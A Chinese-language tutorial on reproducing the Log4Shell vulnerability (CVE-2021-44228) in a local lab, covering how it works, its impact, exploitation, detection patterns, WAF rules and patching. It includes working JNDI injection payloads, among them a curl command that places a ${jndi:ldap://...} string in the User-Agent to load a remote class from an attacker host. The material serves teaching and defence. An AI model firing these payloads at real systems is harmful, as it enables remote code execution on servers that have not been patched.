Log4j2 RCE 漏洞复现与缓解

在本地靶场复现 Log4Shell(CVE-2021-44228),完整讲解原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

本文复现只在本机靶场进行。Log4Shell 影响面极广,禁止对真实系统触发 ${jndi:...} payload。

一、漏洞原理

Log4j2 的日志格式化支持 ${} 查找表达式(Lookup),其中包含 JNDI 查找。攻击者只要把 ${jndi:ldap://...} 塞进任何会被日志记录的字段(用户名、User-Agent、参数),服务器记录日志时就会发起 JNDI 查询,加载远程恶意对象 → RCE。

核心链路:

1
2
3
4
1. 日志记录不可信输入
2. 输入含 ${jndi:ldap://攻击机/Exploit}
3. Log4j2 解析表达式发起 JNDI 查询
4. 加载恶意类 → 命令执行

影响版本:Log4j2 2.0 – 2.14.1(CVE-2021-44228)。

二、影响与危害

1
2
3
远程代码执行(RCE)
几乎所有用 Log4j2 记录的输入点都可能触发
Java 应用、中间件、供应链组件大面积受影响

风险等级:严重,是 2021 年影响面最大的漏洞之一。

三、利用 / 复现

环境准备

靶场:一个用 Log4j2 记录日志的 Java 应用;攻击机:JNDI 工具(如 JNDIExploit)+ 监听端口。

第一步:用 DNSLog 验证是否存在

构造不执行命令、只做 DNS 回显的 payload:

1
${jndi:ldap://xxxxxxxx.dnslog.cn/a}

放到 User-Agent 或用户名里,触发一次请求,到 DNSLog 平台看有没有收到解析记录。

第二步:执行命令(授权环境)

1
curl -H 'User-Agent: ${jndi:ldap://攻击机:1389/Exploit}' http://127.0.0.1:8080/

攻击机 JNDI 服务返回恶意类,目标执行命令或反弹 Shell。

常见触发点

1
2
3
User-Agent、Referer、X-Forwarded-For
用户名、搜索关键词
任意被写进日志的输入字段

四、检测

1
2
3
4
日志/流量中搜 ${jndi:、${ldap:、${rmi:
异常 DNS 查询(对外 LDAP 1389/389、RMI 1099)
JNDI 出站流量到可疑域名
用扫描器批量验证受影响的输入点

五、防御

1
2
3
4
WAF 拦截 ${jndi: 及编码变体
关闭 JNDI 出站(防火墙/安全组)
对日志输入统一过滤特殊表达式
及时安装补丁

六、修复

1
2
3
4
升级 Log4j2 到 2.17.1+(含各分支修复版)
无法升级时设置 -Dlog4j2.formatMsgNoLookups=true
移除不必要的 JNDI/Lookup 依赖
修复后复测:${jndi: 不再触发 JNDI 查询

七、小结

Log4Shell 的教训是“日志输入也是攻击面”:凡是会被记录的不可信字段,都可能成为 RCE 入口。防御核心是升级 + 关闭 JNDI + WAF 拦截,并把它纳入组件漏洞清单持续监控。